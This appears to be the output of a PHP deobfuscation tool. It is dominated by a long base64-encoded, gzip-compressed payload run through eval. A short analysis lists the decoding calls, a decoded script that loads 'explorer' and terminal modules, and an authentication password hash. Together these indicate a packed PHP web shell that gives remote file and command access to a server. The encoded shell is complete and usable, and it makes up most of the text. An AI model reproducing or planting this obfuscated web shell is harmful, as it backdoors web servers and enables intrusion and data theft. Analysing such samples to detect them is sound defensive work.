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'));eval($e);

Function Calls

gzinflate 1
base64_decode 1

Variables

$e <?php $GLOBALS['module_to_load'] = array("explorer", "termin..
$auth_pass 200820e3227815ed1756a6b531e7e0d2

Stats

MD5 7c12c369ccae8ea255a6f281e3e4f014
Eval Count 1
Decode Time 362 ms